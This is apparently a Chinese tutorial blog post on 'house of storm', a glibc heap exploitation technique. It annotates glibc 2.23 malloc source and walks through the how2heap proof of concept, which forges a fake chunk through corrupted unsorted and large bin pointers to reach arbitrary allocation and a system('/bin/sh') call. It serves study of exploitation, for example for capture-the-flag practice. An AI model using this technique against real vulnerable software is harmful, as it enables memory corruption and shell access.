house of storm

2023-11-09

一、漏洞利用条件

house of storm是一种结合了unsorted bin attack和large bin attack的攻击技术,其基本原理和large bin attack类似,漏洞发生在unsorted_bin的chunk放入largebin的过程中。

  1. glibc版本小于2.30,因为2.30之后加入了检查
  2. 需要攻击者在 large_bin 和 unsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
  3. 需要 unsorted_bin 中的 bk指针 可控
  4. 需要 large_bin 中的 bk指针和bk_nextsize 指针可控

二、源码分析

这是glibc2.23中的源码分析

//#define unsorted_chunks(M)          (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) 
{
    bck = victim->bk;//取出unsorted的尾部的chunk
    /*
检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size 
中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在 
unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接 
victim->size 没有问题。
*/
    if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect(victim->size > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption",
            chunk2mem(victim), av);

    size = chunksize(victim);//获取victim的size

    /*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。

last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
形成一个 chunk,last_remainder 就是 指向的这个 chunk。
*/
    if (in_smallbin_range(nb) &&
        bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {

        //分割remainder
        remainder_size = size - nb;//计算分割后剩下的size
        remainder = chunk_at_offset(victim, nb);//获取remainder的地址
        //把remainder加入unsorted bin中
        unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
        av->last_remainder = remainder; // 设置last_remainder为remainder
        remainder->bk = remainder->fd = unsorted_chunks(av);
        //如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
        if (!in_smallbin_range(remainder_size)) {
            remainder->fd_nextsize = NULL;
            remainder->fd_nextsize = NULL;
        }
        //设置victim的size
        set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
        //设置remainder的size
        set_head(remainder, remainder_size | PREV_INUSE);
        //设置remainder的物理相邻的下一个chunk的prev_size
        set_foot(remainder, remainder_size);

        check_malloced_chunk(av, victim, nb);//默认不做任何操作
        void *p = chunk2mem(victim);//将chunk指针转化为mem指针
        alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
        return p;
    }


    //把victim从unsorted bin 中移除
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);

    //如果 victim 的size 与申请的size相等,那么就返回其。
    if (size == nb) {
        //设置victim物理相邻的下一个chunk的prev_inuse位
        set_inuse_bit_at_offset(victim, size);
        //如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
        if (av != &main_arena)
            victim->size |= NON_MAIN_ARENA; 

        check_malloced_chunk(av, victim, nb); // 默认不做任何操作
        void *p = chunk2mem(victim);//把chunk转换为mem指针
        alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
        return p;
            }


            //如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
            //如果在smallbin的范围,则放到对应多small bin中
            if (in_smallbin_range(size)) 
            {
            victim_index = smallbin_index(size);//获取size对应的smallbin的index
            bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
            //fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
            fwd = bck->fd;
            }
            else//如果不再smallbin的范围,也就是说在large bin 的范围
            {
            victim_index = largebin_index(size);//获取size对应的large bin的index
            bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
            fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk

            //如果large bin 非空,在largbin进行按顺序插入
            if (fwd != bck) {
            /* Or with inuse bit to speed comparisons */
            size |= PREV_INUSE;
            assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
            /*
            large bin中的chunk是按从大到小排列的,如果size < large bin 
            的最后一个chunk,说明size是这个large bin中的最小的,我们把它
            加入到此large bin尾部。
            */
            if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {

            fwd = bck;
            bck = bck->bk;

            /*
            large bin 中size最小的chunk的fd_nextsize会指向size最大的
            那个chunk,也就是首部的chunk。同样,large bin 中size最大的
            chunk的bk_nextsize会指向size最小的那个chunk。
            victim的bk_nextsize指向large bin原来最小的chunk,它的
            bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
            把它fd_nextsize和bk_nextsize都修正。
            */
            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            //最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            } 
            else //如果victim不是large bin 中最小的chunk
            {
            assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
            //从大到小(从头到尾)找到合适的位置
            while ((unsigned long) size < fwd->size) {
            fwd = fwd->fd_nextsize;
            assert((fwd->size & NON_MAIN_ARENA) == 0);
            }
            //如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
            if ((unsigned long) size == (unsigned long) fwd->size)
            fwd = fwd->fd;
            else 
            {
            //size不相等,即size>fwd->size,把victim加入到纵向链表中
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;
            }
            bck = fwd->bk;
            }
            } 
            else //如果large bin 为空,将victim加入到纵向列表
            victim->fd_nextsize = victim->bk_nextsize = victim;
            }

            //#define mark_bin(m, i)    ((m)->binmap[idx2block (i)] |= idx2bit (i))
            mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
            //把victim加入到large bin的链表中
            victim->bk = bck;
            victim->fd = fwd;
            fwd->bk = victim;
            bck->fd = victim;
            }

三、demo举例

House Of Storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk

下面依旧是how2heap的例子

// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
    unsigned long  presize;
    unsigned long  size;
    unsigned long  fd;
    unsigned long  bk;
    unsigned long  fd_nextsize;
    unsigned long  bk_nextsize;
}chunk;

int main()
{
    unsigned long *large_chunk,*unsorted_chunk;
    unsigned long *fake_chunk = (unsigned long *)&chunk;
    char *ptr;


    unsorted_chunk=malloc(0x418);
    malloc(0X20);
    large_chunk=malloc(0x408);
    malloc(0x20);



    free(large_chunk);
    free(unsorted_chunk);
    unsorted_chunk=malloc(0x418);  //large_chunk归位
    free(unsorted_chunk);  // unsorted_chunk归位

    //重点一下3步
    unsorted_chunk[1] = (unsigned long )fake_chunk;
    large_chunk[1]    = (unsigned long )fake_chunk+8;
    large_chunk[3]    = (unsigned long )fake_chunk-0x18-5;


    ptr=malloc(0x48);
    strncpy(ptr, "/bin/sh\x00", 0x10);
    system(((char *)fake_chunk + 0x10));

    return 0;
}

我们开始分布解析

step1初始化

显然这是构造一个类似large chunk的fake chunk

struct {
    unsigned long  presize;
    unsigned long  size;
    unsigned long  fd;
    unsigned long  bk;
    unsigned long  fd_nextsize;
    unsigned long  bk_nextsize;
}chunk;

int main()
{
    unsigned long *large_chunk,*unsorted_chunk;
    unsigned long *fake_chunk = (unsigned long *)&chunk;
    char *ptr;

step2初始化chunk

这里提一个小tips大于0x400的chunk是large chunk

unsorted_chunk=malloc(0x418);
malloc(0X20);//防止free时与large_chunk合并
large_chunk=malloc(0x408);
malloc(0x20);//防止free时与top chunk合并

step3丢入bin中

free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418);  //large_chunk归位
free(unsorted_chunk);  // unsorted_chunk归位

step4伪造fake_chunk(最最最重要的一步)

unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1]    = (unsigned long )fake_chunk+8;
large_chunk[3]    = (unsigned long )fake_chunk-0x18-5;

看到这里可能就是师傅们最难理解的一点了,为什么bk_nextsize跑到了这么奇怪的地方

首先我们需要了解一个检查方式

victim->bk_nextsize->fd_nextsize = victim;

Q:现在请师傅们思考一个问题,一个large chunk找自己的fd_nextsize去哪里找呢?

A:应该从自己的起始地址+0x20去找。size、fd、bk、fd_nextsize,但是由于是小端序,size字段的3bit没用,所以只需要在-0x18-5的地方

其实就是在 fake_chunk-5 中写入了 victim

  • 如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,减去5个字节,剩下的就是0x55(或0x56)了
  • 如果提前5个字节开始写堆地址,那么伪造在 size字段 上面的就正好是0x55

也就是说,链入 unsortedbin 的 fake_chunk 的 size字段 是可能为0x56的,而0x56刚好可以通过 unsortedbin 的检查(注意:size字段 如果为“0x55”,那么P位就是“1”,通不过检查)

接下来程序就会申请到 fake_chunk ,然后在其中写入“/bin/sh”,作为system的参数

__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,但是由于程序有随机化,多运行几次总能有一次成功的。

step5利用漏洞完成pwn!

因为unsorted bin是LIFO,所以我们伪造的victim chunk在我们malloc一个0x48时候正好分配出来,此时达到任意地址写的目的

ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));

四、参考博客

house_of_storm 详解 - Rookle - 博客园 (cnblogs.com)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

house of storm 的相关文章

  • 具有不同大小结构的结构数组的 malloc()

    如果每个结构都包含一个大小不同的字符串数组 那么如何正确地 malloc 一个结构数组 因此每个结构可能有不同的大小 并且不可能 realloc 结构体数量 sizeof 结构体名称 after malloc 初始大小 sizeof 结构名
  • 在 VS2017 下使用 Conan 和 CMake 项目进行依赖管理

    我正在尝试使用 CMake 与 VS2017 集成为 C 设置一个开发环境 以便在 Linux x64 下进行编译 为了更好地管理依赖关系 我选择使用 Conan 但我对这个软件还很陌生 我想知道让 VS2017 识别项目依赖关系的最佳方法
  • 分段错误(核心转储)错误

    我的程序编译罚款 但在输入文件时出现 分段错误 核心转储 错误 我没有正确处理 ostream 吗 include
  • 为什么大多数平台上没有“aligned_realloc”?

    MSVC有自己的非标准函数 aligned malloc aligned realloc and aligned free C 17和C11引入了 std aligned alloc 其结果可以是de分配有free or realloc B
  • 选择列表逻辑应位于 ASP.NET MVC、视图、模型或控制器中的什么位置?

    我觉得我的问题与这个问题很接近 但我想对这样的代码应该放在哪里进行更一般的讨论 Asp Net MVC SelectList 重构问题 https stackoverflow com questions 2149855 asp net mv
  • 从 C 结构生成 C# 结构

    我有几十个 C 结构 我需要在 C 中使用它们 典型的 C 结构如下所示 typedef struct UM EVENT ULONG32 Id ULONG32 Orgin ULONG32 OperationType ULONG32 Size
  • 如何创建用于 QML 的通用对象模型?

    我想知道是否有任何宏或方法如何将 Qt 模型注册为 QObject 的属性 例如 我有AnimalModel http doc qt io qt 5 qtquick modelviewsdata cppmodels html qabstra
  • 将字符串转换为正确的 URI 格式?

    有没有简单的方法可以将电子邮件地址字符串转换为正确的 URI 格式 Input http mywebsite com validate email 3DE4ED727750215D957F8A1E4B117C38E7250C33 email
  • TcpClient 在异步读取期间断开连接

    我有几个关于完成 tcp 连接的问题 客户端使用 Tcp 连接到我的服务器 在接受客户端后listener BeginAcceptTcpClient ConnectionEstabilishedCallback null 我开始阅读netw
  • 两种类型的回发事件

    1 我发现了两篇文章 每篇文章对两种类型的回发事件的分类都略有不同 一位资源说两种类型的回发事件是Changed事件 其中控件实现 IPostbackDataHandler 当数据在回发之间更改时触发 然后Raised事件 其中控件实现 I
  • C++ 插件的“最适合”动态类型匹配

    我有一个几乎所有东西都是插件的架构 该架构以图形用户界面为基础 其中每个插件都由一个 表面 即用户可以通过其与插件交互的 UI 控件 表示 这些表面也是插件 每当添加新插件时 瘦主机都会自动确定哪个可用表面与其最匹配的 UI 如何在 C 中
  • C++ 错误 - “成员初始值设定项表达式列表被视为复合表达式”

    我收到一个我不熟悉的 C 编译器错误 可能是一个非常愚蠢的错误 但我不能完全指出它 Error test cpp 27 error member initializer expression list treated as compound
  • 为什么具有相同名称但不同签名的多个继承函数不会被视为重载函数?

    以下代码片段在编译期间产生 对 foo 的调用不明确 错误 我想知道是否有任何方法可以解决此问题而不完全限定对 foo 的调用 include
  • C++11 动态线程池

    最近 我一直在尝试寻找一个用于线程并发任务的库 理想情况下 是一个在线程上调用函数的简单接口 任何时候都有 n 个线程 有些线程比其他线程完成得更快 并且到达的时间不同 首先我尝试了 Rx 它在 C 中非常棒 我还研究了 Blocks 和
  • asp.net网格分页的SQL查询

    我在用iBatis and SQLServer 使用偏移量和限制进行分页查询的最佳方法是什么 也许我添加该列ROW NUMBER OVER ORDER BY Id AS RowNum 但这只会阻止简单查询的数据访问 在某些情况下 我使用选择
  • 初始化 LPCTSTR /LPCWSTR [重复]

    这个问题在这里已经有答案了 我很难理解并使其正常工作 基本上归结为我无法成功初始化这种类型的变量 它需要有说的内容7 2E25DC9D 0 USB003 有人可以解释 展示这种类型的正确初始化和类似的值吗 我已查看此站点上的所有帮助 将项目
  • 从 Delphi 调用 C# dll

    我用单一方法编写了 Net 3 5 dll 由Delphi exe调用 不幸的是它不起作用 步骤 1 使用以下代码创建 C 3 5 dll public class MyDllClass public static int MyDllMet
  • Visual Studio 2017 完全支持 C99 吗?

    Visual Studio 的最新版本改进了对 C99 的支持 最新版本VS2017现在支持所有C99吗 如果没有 C99 还缺少哪些功能 No https learn microsoft com en us cpp visual cpp
  • C++、三元运算符、std::cout

    如何使用 C 用三元运算符编写以下条件 int condition1 condition2 condition3 int double result int or double std cout lt lt condition1 resul
  • 在 Xamarin 中获取 OutOfMemoryException

    java lang OutOfMemoryError 考虑增加 JavaMaximumHeapSize Java 执行时内存不足 java exe 我的 Visualstudio Xamarin 项目出现内存不足异常 请帮助我如何解决此问题

随机推荐

  • webpack- JavaScript 应用程序的静态模块打包器

    一 概念 本质上 webpack 是一个现代 JavaScript 应用程序的静态模块打包器 module bundler 当 webpack 处理应用程序时 它会递归地构建一个依赖关系图 dependency graph 其中包含应用程序
  • DrawerLayout的openDrawer()和closeDrawer()方法

    如下代码 DrawerLayout mdrawerLayout Button btn 以上为声明组件 为简便其余过程省略 btn setOnClickListener new OnClickListener mdrawerLayout op
  • Go Web编程实战(8)----创建HTTP与HTTPS服务器端

    目录 创建一个HTTP服务端 ListenAndServe ServeHTTP 方法的使用示例 定义Refer结构体 实现ServeHTTP 方法 创建一个HTTPS服务端 创建证书与私钥 创建HTTPS服务端 创建一个HTTP服务端 其实
  • 2021-07-16

    VUE 生命周期 vm的一生 将要创建 gt 调用beforeCreate函数 创建完毕 gt 调用create函数 将要挂载 gt 调用beforeMount函数 挂在完毕 gt 调用mounted函数 将要更新 gt 调用beforeU
  • 计算机打字盲打方法,练习键盘打字方法 盲打的指法练习

    1 牢记键盘字母的排序 键要是字母键构成 二十六个字母排成了三排 因此手指要会上下灵活伸缩 最长的键是空格键 带一个横箭头标着Enter的是回车键 回车往往有确定 换行 打开的意思 2 打字的时候手势要正确 先把二十六个字母背下来 就像背古
  • docker创建vue编译环境

    docker创建vue编译环境 node的docker获取 docker pull node latest 升级node npm install g npm 8 9 0 to update 安装vue环境 npm config set re
  • cmd命令查找文本文件中的字符串

    cmd命令查找文本文件中的字符串 可以通过findstr命令实现查找文本文件当中的字符串 这样方便提高日志的检索交率 如下图 命令格式 findstr s n aaa C Users 17676 Desktop 667 txt s 在当前目
  • 亲密关系沟通-【信任感】-巩固信任感的沟通方法

    案例 老公答应做家务 同意了 但是总觉得他会忘 提醒他 结果嫌我啰嗦 我们还大吵一架 我真的是一个不会信任对方的人吗 要有信任感 你需要在沟通中成为两个人 1 能让别人信任你的人 2 有能力信任别人的人 其实你不信任ta 不是ta的原因 而
  • APP兼容性测试需要注意哪几点?-alltesting云测试

    由于终端设备的型号多样 机型的碎片化 使得APP兼容性问题在APP测试中成为一个不得不考虑的问题 因为一旦APP有兼容性方面的问题 就会影响这一类的很多用户 对业务的影响会比较大 针对这个问题的测试需要考虑覆盖多种不同的场景 严格来说 兼容
  • 【HDLbits刷题笔记 】04-verilog语法-程序部分

    Always块 组合 由于数字电路由用导线连接的逻辑门组成 因此任何电路都可以表示为模块和分配语句的某种组合 但是 有时这不是描述电路的最方便方法 过程 始终以块为例 提供了描述电路的替代语法 对于合成硬件 synthesizing har
  • Android adb等 获取root权限

    Android adb 获取root权限 1 自己编译的Android 中 adb shell后 自动获取root权限 即显示 而不是 方法 修改 default prop 把ro secure设为0 persist service adb
  • 位段的跨平台问题

    笔者在之前的两篇文章中已经详细的详解了 位段的各种问题 有意者请参考一下 位段的基础知识 大家都不怎么知道位段 参考链接为 位段的基础知识 大家都不怎么知道位段 念君思宁的博客 CSDN博客 对于位段的概念 想必大多数的C语言学者 都是不知
  • 接口接收数据_RGMII接口布线经验

    网络设备一定离不开MAC和PHY 有MAC和PHY的地方就有相应的接口 无论看得见或者看不见 它就在那里 不悲不喜 在以太网中 这个接口就是介质无关接口 英文称为Media Independent Interface 简称MII MII适用
  • 部署rancher

    rancher部署kubernetes 节点提前安装好docker环境 部署rancher 根据官网选择合适的rancher版本 并配置数据持久化启动rancher docker run d name rancher restart unl
  • QObject成员函数connect()函数

    1 首先要链接的两个类必须继承于QObject 同时添加 Q OBJECT 2 在qt中QObject connect中填写的signal和slot函数 一定要填写参数类型 因为类中的函数可以 也就是 重载函数名一样 参数不一样 如果QOb
  • C语言基础入门48篇_20_函数入门:为什么使用函数?(函数使得程序模块化 使用函数封装细节,使得程序员只要面向函数的接口编程(参数与返回值),而不用关心函数内部细节)

    菜鸟和高手都会基本 那菜鸟为什么是菜鸟 高手为什么是高手呢 很大的区别在于 高手写的程序 结构性 更好 更容易维护 而函数就是C语言结构化的一种手段 函数可以将大的计算任务划分为多个较小的任务 解耦合 一个设计得当的函数可以将不必要的细节给
  • 【C++]】蓝桥杯练习题 (入门训练 Fibonacci数列)

    img src data image png base64 iVBORw0KGgoAAAANSUhEUgAAA60AAAG8CAYAAAA1sEPIAAAgAElEQVR4Aey9TYudVdb v2x8Awa56QYRRTAgOPBHpS
  • 把eclipse的web项目导入到idea中

    一 导入项目 1 导入 2 module选择eclipse 没有该步骤可以跳过 3 之后一路next即可 二 配置依赖 1 配置依赖和jar包 1 Project 选择相应的sdk 2 Modules 选择导入的模块dataweb 选择De
  • SpringBoot快速实践 --Ⅰ

    文章目录 启动一个SpringBoot项目 如何替换内嵌容器 玩转SpringBoot配置 全局异常处理 过滤器 拦截器 使用Lombok简洁代码 使用IDEA HTTP Client进行接口调试 启动一个SpringBoot项目 如果你觉
  • house of storm

    一 漏洞利用条件 house of storm是一种结合了unsorted bin attack和large bin attack的攻击技术 其基本原理和large bin attack类似 漏洞发生在unsorted bin的chunk放